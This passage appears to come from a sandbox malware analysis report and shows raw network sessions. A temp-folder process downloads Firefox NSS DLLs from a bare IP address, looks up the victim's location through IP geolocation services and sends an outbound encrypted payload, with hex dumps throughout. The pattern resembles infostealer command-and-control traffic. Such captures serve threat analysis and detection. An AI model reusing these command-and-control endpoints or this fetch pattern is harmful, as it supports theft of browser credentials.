c0 86 0f ea e9 47 c3 d5 5a 47 43 4c 9a 98 91 81 bc 9f 35 51 33 c9 ac 24 d1 e8 b1 77 32 Data Ascii: ^f4513ETi("/BtJMj<}uvA68`uc%Zj1TVNq7@T)HmTJ\:zE""(kXz oQ;\|59%V@:2A5/k[>5-i"yq'3\GZGCL5Q3$w2
2024-05-24 07:43:42 UTC	15331	OUT	Data Raw: dc f6 2a 0e 67 e1 07 2e 01 2c 06 ef 0a 10 28 77 94 de 5f d0 b1 1f 77 34 b8 53 5c ec 75 e5 77 55 b6 92 34 40 16 8e 21 47 fa 4d 44 22 ed 34 b3 80 e6 01 9e 51 47 68 15 c7 92 36 5c 63 2b 02 d2 61 55 3b c9 88 f3 90 58 8d 67 60 60 01 cf 55 4b 14 4d f7 ee 6d c1 c3 09 c3 27 0f ed 8e 09 31 c0 58 bb 41 bf 3b 33 bf 08 10 0d 15 13 4f 9b 00 e3 22 7a 0d 2f 76 58 0a 24 6a 43 bd 28 1e d0 18 9b 5f 63 02 9b 1c 0d 17 98 fa 15 9e 5a c2 e4 12 e0 18 2f 80 5e e6 27 e4 9a a8 21 ce 80 46 a3 77 96 f9 4f 60 1c d8 bf 96 ad 45 2c 65 f9 ba 12 ed 1e 6f 90 cf a7 e7 a9 20 78 d8 fe 67 a6 e5 9e 00 15 3b 87 0b 3d dd b4 a5 70 72 37 f6 ea c5 d8 66 c4 39 25 31 57 3e ae f5 da 87 88 7e 24 d8 3d f9 73 b4 32 60 77 7f c4 df c6 3c 83 6d 2c f2 d3 01 95 9c 79 63 49 f4 7b 6e 9c 45 c9 36 16 1d 64 7c 38 Data Ascii: *g.,(w_w4S\uwU4@!GMD"4QGh6\c+aU;Xg``UKMm'1XA;3O"z/vX$jC(_cZ/^'!FwO`E,eo xg;=pr7f9%1W>~$=s2`w<m,ycI{nE6d\|8
2024-05-24 07:43:44 UTC	818	IN	HTTP/1.1 200 OK Date: Fri, 24 May 2024 07:43:44 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=sdhfc5j4q1ecgbf7goj9is7tg7; expires=Tue, 17-Sep-2024 01:30:23 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=ucP%2F0kywKzgkuHfxllRljRVekrJWB9RKpEZkxyeD6gsSktiLF8jpCqbJ3Hi8P%2B9CeHlPSu4dgdI0A39lG58rtIIton2X43Rb7%2BPf38Oy9Tt%2BVR%2FNjhC9LYN9%2BjmYagKEhoY5niW1tREUlQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 888ba804ba127d00-EWR alt-svc: h3=":443"; ma=86400

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
162	192.168.2.4	50025	78.47.123.174	443	7400	C:\Users\user\AppData\Local\Temp\katC73D.tmp

Timestamp	Bytes transferred	Direction	Data
2024-05-24 07:43:44 UTC	170	OUT	GET /nss3.dll HTTP/1.1 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:128.0) Gecko/20100101 Firefox/128.0 Host: 78.47.123.174 Cache-Control: no-cache
2024-05-24 07:43:44 UTC	248	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 24 May 2024 07:43:44 GMT Content-Type: application/octet-stream Content-Length: 2046288 Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT Connection: close ETag: "6315a9f4-1f3950" Accept-Ranges: bytes
2024-05-24 07:43:44 UTC	16136	IN	Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!.`pl- @A&@
2024-05-24 07:43:44 UTC	16384	IN	Data Raw: 89 c2 69 f3 90 01 00 00 29 f0 83 e2 03 66 85 d2 0f 94 c2 66 85 ff 0f 95 c6 20 d6 66 85 c0 0f 94 c0 08 f0 0f b6 c0 8d 04 40 8b 55 f0 0f be 84 82 20 7c 1a 10 89 41 10 8a 41 1a fe c8 0f b6 c0 ba 06 00 00 00 0f 49 d0 88 51 1a e9 f7 fe ff ff 83 c2 e8 89 51 0c 8b 41 10 89 45 f0 8b 71 14 40 89 41 10 66 ff 41 1c 0f b7 41 18 a8 03 0f 94 c3 69 f8 29 5c 00 00 8d 97 1c 05 00 00 66 c1 ca 02 0f b7 d2 81 fa 8f 02 00 00 0f 93 c2 20 da 81 c7 10 05 00 00 66 c1 cf 04 0f b7 ff 81 ff a3 00 00 00 0f 92 c6 08 d6 0f b6 d6 8d 14 52 0f be 94 96 20 7c 1a 10 39 55 f0 7c 26 89 f7 c7 41 10 01 00 00 00 8d 56 01 89 51 14 83 fe 0b 7c 12 c7 41 14 00 00 00 00 40 66 89 41 18 66 c7 41 1c 00 00 8a 41 1a fe c0 31 d2 3c 07 0f b6 c0 0f 4d c2 88 41 1a e9 51 fe ff ff c7 41 14 0b 00 00 00 8b 51 18 Data Ascii: i)ff f@U \|AAIQQAEq@AfAAi)\f fR \|9U\|&AVQ\|A@fAfAA1<MAQAQ
2024-05-24 07:43:44 UTC	16384	IN	Data Raw: 7f 06 00 74 69 31 db 8b 44 9f 14 be 48 01 1d 10 85 c0 74 02 8b 30 68 d3 fe 1b 10 56 e8 f7 5b 19 00 83 c4 08 85 c0 b8 79 64 1c 10 0f 45 c6 8b 4f 10 0f b6 0c 19 f6 c1 02 ba 98 dc 1c 10 be 48 01 1d 10 0f 44 d6 f6 c1 01 b9 b1 de 1c 10 0f 44 ce 50 52 51 68 7f a0 1b 10 8d 44 24 60 50 e8 d6 b7 06 00 83 c4 14 43 0f b7 47 06 39 c3 72 99 8b 44 24 60 8d 48 01 3b 4c 24 58 0f 83 b7 03 00 00 89 4c 24 60 8b 4c 24 54 c6 04 01 29 eb 25 8b 44 24 04 8b 4c 24 08 8b 44 81 10 0f be 08 8d 54 24 50 51 ff 70 20 68 2c e2 1c 10 52 e8 89 b7 06 00 83 c4 10 f6 44 24 64 07 0f 85 4b 03 00 00 8b 44 24 54 85 c0 74 21 8b 4c 24 60 c6 04 08 00 83 7c 24 5c 00 74 12 f6 44 24 65 04 75 0b 8d 4c 24 50 e8 d4 68 06 00 eb 04 8b 44 24 54 89 44 24 18 8b 45 08 8b 80 a0 00 00 00 83 e0 0c 83 f8 08 0f 85 Data Ascii: ti1DHt0hV[ydEOHDDPRQhD$`PCG9rD$`H;L$XL$`L$T)%D$L$DT$PQp h,RD$dKD$Tt!L$`\|$\tD$euL$PhD$TD$E
2024-05-24 07:43:44 UTC	16384	IN	Data Raw: 11 1e 10 77 26 8b 35 38 11 1e 10 85 f6 74 15 8b 0d 78 e0 1d 10 81 f9 80 c2 12 10 75 7b 56 ff 15 68 cc 1d 10 89 f8 5e 5f 5b 5d c3 a3 30 11 1e 10 eb d3 a3 0c 11 1e 10 eb b9 89 3d 20 11 1e 10 e9 54 ff ff ff 31 ff eb dc 8b 0d 40 e0 1d 10 ff 15 00 40 1e 10 57 ff d1 83 c4 04 eb ca ff 15 00 40 1e 10 56 ff d1 83 c4 04 e9 0b ff ff ff 89 f7 c1 ff 1f 29 f1 19 f8 31 d2 39 0d e4 10 1e 10 19 c2 7d 27 c7 05 50 11 1e 10 00 00 00 00 e9 20 ff ff ff 31 ff e9 6d ff ff ff ff 15 00 40 1e 10 56 ff d1 83 c4 04 e9 7b ff ff ff c7 05 50 11 1e 10 01 00 00 00 8b 1d 38 11 1e 10 85 db 74 2e 8b 0d 78 e0 1d 10 ff 15 00 40 1e 10 53 ff d1 83 c4 04 8b 1d 38 11 1e 10 85 db 74 12 8b 0d 70 e0 1d 10 ff 15 00 40 1e 10 53 ff d1 83 c4 04 a1 4c 11 1e 10 8b 0d 48 11 1e 10 89 ca 09 c2 0f 84 b1 fe ff Data Ascii: w&58txu{Vh^_[]0= T1@@W@V)19}'P 1m@V{P8t.x@S8tp@SLH
2024-05-24 07:43:44 UTC	16384	IN	Data Raw: 24 08 8b 70 44 8b 06 85 c0 0f 84 81 fd ff ff 8b 48 04 ff 15 00 40 1e 10 56 ff d1 83 c4 04 c7 06 00 00 00 00 e9 67 fd ff ff 8b 44 24 08 8b 70 40 8b 06 85 c0 74 2d 8b 4c 24 08 80 79 0d 00 75 11 8b 48 20 ff 15 00 40 1e 10 6a 01 56 ff d1 83 c4 08 8b 44 24 08 80 78 12 05 74 08 8b 44 24 08 c6 40 12 01 8b 4c 24 08 8a 41 0c 88 41 13 e9 13 fe ff ff 8b 44 24 08 8b 30 8b 4e 1c 85 c9 0f 84 88 fa ff ff 8b 44 24 08 8b b8 ec 00 00 00 ff 15 00 40 1e 10 6a 00 57 56 ff d1 83 c4 0c 89 44 24 0c e9 72 f6 ff ff 8b 4c 24 08 89 81 a0 00 00 00 e9 f7 f9 ff ff 8b 48 04 ff 15 00 40 1e 10 56 ff d1 83 c4 04 c7 06 00 00 00 00 e9 26 fa ff ff 31 f6 46 e9 d2 fc ff ff 31 db f6 44 24 1c 01 0f 84 40 fe ff ff 68 40 7e 1c 10 68 83 e4 00 00 68 14 dd 1b 10 68 78 fc 1b 10 6a 0e e8 0a 8f 02 00 83 Data Ascii: $pDH@VgD$p@t-L$yuH @jVD$xtD$@L$AAD$0ND$@jWVD$rL$H@V&1F1D$@h@~hhhxj
2024-05-24 07:43:44 UTC	16384	IN	Data Raw: 6f 8b 7d 0c 89 54 24 04 8b 0d 30 e4 1d 10 8b 45 08 8b 40 08 89 04 24 ff 15 00 40 1e 10 8d 44 24 10 50 8d 44 24 10 50 56 57 ff 74 24 10 ff d1 85 c0 0f 84 92 00 00 00 8b 44 24 0c 85 c0 8b 54 24 04 74 42 29 c6 72 3e 01 c2 83 d3 00 89 54 24 18 89 d9 81 e1 ff ff ff 7f 89 4c 24 1c 01 c7 85 f6 7f a2 8b 44 24 24 85 c0 0f 85 92 00 00 00 31 ff 8b 4c 24 28 31 e9 e8 9d 64 13 00 89 f8 8d 65 f4 5e 5f 5b 5d c3 8b 0d 8c e2 1d 10 ff 15 00 40 1e 10 ff d1 89 c2 8b 45 08 89 50 14 83 fa 70 74 05 83 fa 27 75 3f bf 0d 00 00 00 b9 0d 00 00 00 68 ee b2 00 00 8b 45 08 ff 70 1c 68 65 8a 1c 10 e8 c4 1e 14 00 83 c4 0c eb a7 8d 4c 24 24 8d 54 24 08 e8 12 20 14 00 85 c0 0f 85 2a ff ff ff 8b 54 24 08 eb b1 bf 0a 03 00 00 b9 0a 03 00 00 68 f3 b2 00 00 8b 45 08 ff 70 1c 68 20 85 1c 10 eb Data Ascii: o}T$0E@$@D$PD$PVWt$D$T$tB)r>T$L$D$$1L$(1de^_[]@EPpt'u?hEpheL$$T$ *T$hEph
2024-05-24 07:43:44 UTC	16384	IN	Data Raw: 68 7c ec 8b 44 24 0c 89 46 68 83 7c 24 04 01 75 72 8b 56 64 8d 1c 40 c1 e3 04 83 7c 1a 1c 00 74 4b 8b 4e 48 8b 01 85 c0 74 42 3d 58 00 1a 10 75 34 8b 86 a8 00 00 00 8b be ac 00 00 00 83 c0 04 83 d7 00 89 74 24 04 89 d6 8b 54 1a 18 0f af fa f7 e2 01 fa 52 50 51 e8 8c 45 12 00 89 f2 8b 74 24 10 83 c4 0c 8b 44 1a 18 89 46 38 31 ff 8b 4c 24 30 31 e9 e8 9f 24 13 00 89 f8 8d 65 f4 5e 5f 5b 5d c3 89 74 24 04 8b 86 e8 00 00 00 89 44 24 08 85 c0 0f 84 88 01 00 00 83 7c 24 0c 00 0f 84 ac 00 00 00 8b 44 24 04 8b 70 64 85 f6 0f 84 9d 00 00 00 8b 44 24 0c 48 8d 3c 40 c1 e7 04 8b 44 3e 14 89 44 24 0c b9 00 02 00 00 31 d2 e8 56 3e ff ff 89 44 24 18 85 c0 0f 84 ce 02 00 00 8d 04 3e 89 44 24 14 8d 04 3e 83 c0 14 89 44 24 08 8b 5c 24 18 89 d8 83 c0 04 68 fc 01 00 00 6a 00 Data Ascii: h\|D$Fh\|$urVd@\|tKNHtB=Xu4t$TRPQEt$DF81L$01$e^_[]t$D$\|$D$pdD$H<@D>D$1V>D$>D$>D$\$hj
2024-05-24 07:43:44 UTC	16384	IN	Data Raw: 00 00 00 8b 99 48 01 00 00 85 db 75 6b 8b 99 44 01 00 00 85 db 75 7b ff 81 40 01 00 00 8a 5d f3 88 d8 50 e8 d0 ca 11 00 83 c4 04 89 c3 85 c0 0f 84 a7 00 00 00 57 ff 75 e4 53 e8 0f 1c 18 00 83 c4 0c c6 04 3b 00 8d 04 b6 8b 4d ec 8d 04 81 83 c0 0c 89 18 0f b6 0b 80 b9 7a f8 19 10 00 78 4a 8b 4d e8 80 b9 d0 00 00 00 02 0f 83 83 00 00 00 83 c4 10 5e 5f 5b 5d c3 8b 03 89 81 48 01 00 00 e9 50 ff ff ff 8b 03 89 81 4c 01 00 00 e9 43 ff ff ff 8b 03 89 81 44 01 00 00 e9 36 ff ff ff ff 81 3c 01 00 00 e9 73 ff ff ff 80 f9 5b 0f b6 c9 ba 5d 00 00 00 0f 45 d1 89 55 ec 31 f6 46 89 df 8a 0c 33 3a 4d ec 74 06 88 0f 46 47 eb f2 8b 4d ec 38 4c 33 01 74 2d c6 07 00 eb 84 8d 04 b6 8b 4d ec 8d 04 81 83 c0 0c c7 00 00 00 00 00 e9 6d ff ff ff 8b 10 8b 4d e8 83 c4 10 5e 5f 5b 5d Data Ascii: HukDu{@]PWuS;MzxJM^_[]HPLCD6<s[]EU1F3:MtFGM8L3t-MmM^_[]
2024-05-24 07:43:44 UTC	16384	IN	Data Raw: f6 ff ff 8b 57 10 85 d2 74 09 8b 4c 24 20 e8 75 c2 ff ff 8b 7c 24 0c c7 47 10 00 00 00 00 e9 98 f6 ff ff 8b 06 89 81 44 01 00 00 e9 e3 f9 ff ff ff 81 3c 01 00 00 e9 80 fc ff ff 8b 44 24 14 80 b8 d0 00 00 00 00 0f 85 f3 fb ff ff 8b 44 24 20 8b 40 10 8b 4c 38 0c 83 79 48 00 0f 85 de fb ff ff ff 34 38 68 b4 e0 1c 10 ff 74 24 1c e8 06 09 00 00 83 c4 0c e9 c5 fb ff ff 8b 4c 24 1c e9 ae fd ff ff 8a 80 08 f7 19 10 3a 83 08 f7 19 10 0f 84 02 fa ff ff e9 c9 f9 ff ff 8b 44 24 20 80 b8 b1 00 00 00 00 0f 84 47 04 00 00 68 48 01 1d 10 ff 74 24 18 e8 5f 2a 01 00 83 c4 08 e9 33 f7 ff ff 8b 44 24 0c 80 48 1e 01 66 83 78 22 00 0f 8e a5 f5 ff ff 31 c9 b8 0e 00 00 00 8b 54 24 0c 8b 52 04 8b 74 02 f6 89 f7 c1 ef 04 83 e7 0f 83 ff 01 74 09 85 ff 75 0a e9 69 03 00 00 c6 44 02 Data Ascii: WtL$ u\|$GD<D$D$ @L8yH48ht$L$:D$ GhHt$_*3D$Hfx"1T$RttuiD
2024-05-24 07:43:44 UTC	16384	IN	Data Raw: c7 44 24 24 00 00 00 00 e9 0b f1 ff ff 8b 44 24 0c 8b 40 10 8b 40 1c 8b 4c 24 08 3b 41 3c 0f 84 95 ea ff ff 8b 7c 24 08 ff 37 68 27 f8 1c 10 ff 74 24 0c e8 e0 ea 00 00 83 c4 0c c7 44 24 24 00 00 00 00 e9 a2 f0 ff ff 68 48 e4 1b 10 8b 7c 24 08 57 e8 c1 ea 00 00 83 c4 08 be 0b 00 00 00 68 40 7e 1c 10 68 14 ce 01 00 68 40 bb 1b 10 68 78 fc 1b 10 56 e8 8f 4f 01 00 83 c4 14 89 77 0c c7 44 24 1c 00 00 00 00 e9 83 f8 ff ff 66 ba 1e 00 31 c0 85 c9 0f 85 54 f1 ff ff 31 d2 e9 5b f1 ff ff 31 ff 66 ba 28 00 be ff 0f 00 00 89 cb 31 c0 83 c2 28 89 f9 0f a4 d9 1c c1 e8 04 39 de bb 00 00 00 00 19 fb 89 cb 89 c7 0f 83 f2 f0 ff ff eb df a9 fd ff ff ff 74 65 31 f6 46 b8 ec bb 1b 10 e9 c1 fd ff ff 31 c0 e9 85 f2 ff ff c7 44 24 18 00 00 00 00 e9 36 f8 ff ff 8b 40 14 e9 d1 e9 Data Ascii: D$$D$@@L$;A<\|$7h't$D$$hH\|$Wh@~hh@hxVOwD$f1T1[1f(1(9te1F1D$6@

Session ID	Source IP	Source Port	Destination IP	Destination Port
163	192.168.2.4	50026	34.117.186.192	443

Timestamp	Bytes transferred	Direction	Data
2024-05-24 07:43:44 UTC	237	OUT	GET /widget/demo/8.46.123.175 HTTP/1.1 Connection: Keep-Alive Referer: https://ipinfo.io/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36 Host: ipinfo.io
2024-05-24 07:43:44 UTC	514	IN	HTTP/1.1 200 OK server: nginx/1.24.0 date: Fri, 24 May 2024 07:43:44 GMT content-type: application/json; charset=utf-8 Content-Length: 1028 access-control-allow-origin: * x-frame-options: SAMEORIGIN x-xss-protection: 1; mode=block x-content-type-options: nosniff referrer-policy: strict-origin-when-cross-origin x-envoy-upstream-service-time: 4 via: 1.1 google strict-transport-security: max-age=2592000; includeSubDomains Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-05-24 07:43:44 UTC	876	IN	Data Raw: 7b 0a 20 20 22 69 6e 70 75 74 22 3a 20 22 38 2e 34 36 2e 31 32 33 2e 31 37 35 22 2c 0a 20 20 22 64 61 74 61 22 3a 20 7b 0a 20 20 20 20 22 69 70 22 3a 20 22 38 2e 34 36 2e 31 32 33 2e 31 37 35 22 2c 0a 20 20 20 20 22 68 6f 73 74 6e 61 6d 65 22 3a 20 22 73 74 61 74 69 63 2d 63 70 65 2d 38 2d 34 36 2d 31 32 33 2d 31 37 35 2e 63 65 6e 74 75 72 79 6c 69 6e 6b 2e 63 6f 6d 22 2c 0a 20 20 20 20 22 63 69 74 79 22 3a 20 22 4e 65 77 20 59 6f 72 6b 20 43 69 74 79 22 2c 0a 20 20 20 20 22 72 65 67 69 6f 6e 22 3a 20 22 4e 65 77 20 59 6f 72 6b 22 2c 0a 20 20 20 20 22 63 6f 75 6e 74 72 79 22 3a 20 22 55 53 22 2c 0a 20 20 20 20 22 6c 6f 63 22 3a 20 22 34 30 2e 37 31 34 33 2c 2d 37 34 2e 30 30 36 30 22 2c 0a 20 20 20 20 22 6f 72 67 22 3a 20 22 41 53 33 33 35 36 20 4c 65 76 Data Ascii: { "input": "8.46.123.175", "data": { "ip": "8.46.123.175", "hostname": "static-cpe-8-46-123-175.centurylink.com", "city": "New York City", "region": "New York", "country": "US", "loc": "40.7143,-74.0060", "org": "AS3356 Lev
2024-05-24 07:43:44 UTC	152	IN	Data Raw: 20 20 22 65 6d 61 69 6c 22 3a 20 22 61 62 75 73 65 40 61 75 70 2e 6c 75 6d 65 6e 2e 63 6f 6d 22 2c 0a 20 20 20 20 20 20 22 6e 61 6d 65 22 3a 20 22 43 65 6e 74 75 72 79 6c 69 6e 6b 20 41 62 75 73 65 20 44 65 73 6b 22 2c 0a 20 20 20 20 20 20 22 6e 65 74 77 6f 72 6b 22 3a 20 22 38 2e 34 36 2e 31 32 33 2e 30 2f 32 34 22 2c 0a 20 20 20 20 20 20 22 70 68 6f 6e 65 22 3a 20 22 2b 31 2d 38 37 37 2d 38 38 36 2d 36 35 31 35 22 0a 20 20 20 20 7d 0a 20 20 7d 0a 7d Data Ascii: "email": "abuse@aup.lumen.com", "name": "Centurylink Abuse Desk", "network": "8.46.123.0/24", "phone": "+1-877-886-6515" } }}

Session ID	Source IP	Source Port	Destination IP	Destination Port
164	192.168.2.4	50029	104.26.5.15	443

Timestamp	Bytes transferred	Direction	Data
2024-05-24 07:43:44 UTC	261	OUT	GET /demo/home.php?s=8.46.123.175 HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36 Host: db-ip.com
2024-05-24 07:43:45 UTC	658	IN	HTTP/1.1 200 OK Date: Fri, 24 May 2024 07:43:45 GMT Content-Type: application/json Transfer-Encoding: chunked Connection: close x-iplb-request-id: A29E9F23:2DA0_93878F2E:0050_66504531_EEE4209:4F34 x-iplb-instance: 59215 CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=A2Wi6wkC9iew2PtY%2Bpxi%2FIoerYKn7R8P9kz9pzxd3UXzcPHYZQ9NKUPx%2BTTkce8tKQbNvktikv%2FMSL3WjKILhHaLu4XhpVtVDiL4G%2BLXNcZoLXClDphsCH39tw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 888ba8124d644264-EWR alt-svc: h3=":443"; ma=86400
2024-05-24 07:43:45 UTC	85	IN	Data Raw: 34 66 0d 0a 7b 22 73 74 61 74 75 73 22 3a 22 6f 6b 22 2c 22 64 65 6d 6f 49 6e 66 6f 22 3a 7b 22 65 72 72 6f 72 22 3a 22 6f 76 65 72 20 71 75 65 72 79 20 6c 69 6d 69 74 2c 20 70 6c 65 61 73 65 20 74 72 79 20 61 67 61 69 6e 20 6c 61 74 65 72 22 7d 7d 0d 0a Data Ascii: 4f{"status":"ok","demoInfo":{"error":"over query limit, please try again later"}}
2024-05-24 07:43:45 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
165	192.168.2.4	50033	78.47.123.174	443	7400	C:\Users\user\AppData\Local\Temp\katC73D.tmp

Timestamp	Bytes transferred	Direction	Data
2024-05-24 07:43:46 UTC	174	OUT	GET /softokn3.dll HTTP/1.1 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:128.0) Gecko/20100101 Firefox/128.0 Host: 78.47.123.174 Cache-Control: no-cache
2024-05-24 07:43:47 UTC	246	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 24 May 2024 07:43:47 GMT Content-Type: application/octet-stream Content-Length: 257872 Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT Connection: close ETag: "6315a9f4-3ef50" Accept-Ranges: bytes
2024-05-24 07:43:47 UTC	16138	IN	Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!PSg@ADvSw
2024-05-24 07:43:47 UTC	16384	IN	Data Raw: ff 89 85 f4 fe ff ff c7 85 f8 fe ff ff 04 00 00 00 8d 85 f0 fe ff ff 6a 01 50 53 57 e8 85 af 00 00 83 c4 10 89 c6 85 c0 75 3f 8b 85 ec fe ff ff 83 c0 fd 83 f8 01 77 25 be 30 00 00 00 83 3d 28 9a 03 10 00 75 23 83 3d 50 90 03 10 00 74 0e be 01 01 00 00 f6 05 20 9a 03 10 01 74 0c 53 57 e8 e2 b9 00 00 83 c4 08 89 c6 83 3d 2c 9a 03 10 00 0f 84 5e ff ff ff 8b 85 ec fe ff ff 83 c0 fe 83 f8 02 0f 87 4c ff ff ff 56 53 57 68 85 6b 03 10 68 00 01 00 00 8d 85 f0 fe ff ff 50 ff 15 1c 7c 03 10 83 c4 18 e9 2a ff ff ff cc cc cc cc cc cc cc cc cc cc cc cc 55 89 e5 53 57 56 81 ec 08 01 00 00 a1 14 90 03 10 31 e8 89 45 f0 c7 85 ec fe ff ff 00 00 00 00 be 30 00 00 00 83 3d 28 9a 03 10 00 74 17 8b 4d f0 31 e9 e8 28 8b 02 00 89 f0 81 c4 08 01 00 00 5e 5f 5b 5d c3 8b 5d 0c c7 Data Ascii: jPSWu?w%0=(u#=Pt tSW=,^LVSWhkhP\|*USWV1E0=(tM1(^_[]]
2024-05-24 07:43:47 UTC	16384	IN	Data Raw: ff 83 c4 10 85 c0 0f 85 6b 03 00 00 57 e8 c4 9d ff ff 83 c4 04 ff 75 e8 53 57 e8 f7 9d ff ff 83 c4 0c ff 75 e8 8d 45 e8 50 53 57 e8 26 9e ff ff 83 c4 10 85 c0 0f 85 3c 03 00 00 8b 4d c8 83 c1 01 8b 75 e4 8b 45 dc 01 f0 3b 4d c0 0f 85 6c ff ff ff 31 f6 e9 20 03 00 00 31 f6 ff 35 30 9a 03 10 ff 15 f0 7b 03 10 83 c4 04 a1 34 9a 03 10 85 c0 74 15 6a 01 50 e8 57 4e 02 00 83 c4 08 c7 05 34 9a 03 10 00 00 00 00 a1 38 9a 03 10 85 c0 74 15 6a 01 50 e8 39 4e 02 00 83 c4 08 c7 05 38 9a 03 10 00 00 00 00 a1 3c 9a 03 10 85 c0 74 15 6a 01 50 e8 1b 4e 02 00 83 c4 08 c7 05 3c 9a 03 10 00 00 00 00 56 e8 e8 4d 02 00 83 c4 04 a3 34 9a 03 10 8b 47 38 a3 40 9a 03 10 8b 47 28 a3 44 9a 03 10 8b 47 2c a3 48 9a 03 10 8d 47 04 50 e8 bf 4d 02 00 83 c4 04 a3 38 9a 03 10 ff 75 0c e8 Data Ascii: kWuSWuEPSW&<MuE;Ml1 150{4tjPWN48tjP9N8<tjPN<VM4G8@G(DG,HGPM8u
2024-05-24 07:43:47 UTC	16384	IN	Data Raw: 10 88 41 03 0f b6 41 04 d1 e8 8a 80 68 f9 02 10 88 41 04 0f b6 41 05 d1 e8 8a 80 68 f9 02 10 88 41 05 0f b6 41 06 d1 e8 8a 80 68 f9 02 10 88 41 06 0f b6 41 07 d1 e8 8a 80 68 f9 02 10 88 41 07 ba 01 01 01 01 8b 31 31 d6 33 51 04 b8 01 00 00 00 09 f2 0f 84 37 01 00 00 ba 1f 1f 1f 1f 33 11 be 0e 0e 0e 0e 33 71 04 09 d6 0f 84 20 01 00 00 ba e0 e0 e0 e0 33 11 be f1 f1 f1 f1 33 71 04 09 d6 0f 84 09 01 00 00 ba fe fe fe fe 8b 31 31 d6 33 51 04 09 f2 0f 84 f5 00 00 00 ba 01 fe 01 fe 8b 31 31 d6 33 51 04 09 f2 0f 84 e1 00 00 00 ba fe 01 fe 01 8b 31 31 d6 33 51 04 09 f2 0f 84 cd 00 00 00 ba 1f e0 1f e0 33 11 be 0e f1 0e f1 33 71 04 09 d6 0f 84 b6 00 00 00 ba e0 1f e0 1f 33 11 be f1 0e f1 0e 33 71 04 09 d6 0f 84 9f 00 00 00 ba 01 e0 01 e0 33 11 be 01 f1 01 f1 33 71 Data Ascii: AAhAAhAAhAAhA113Q733q 33q113Q113Q113Q33q33q33q
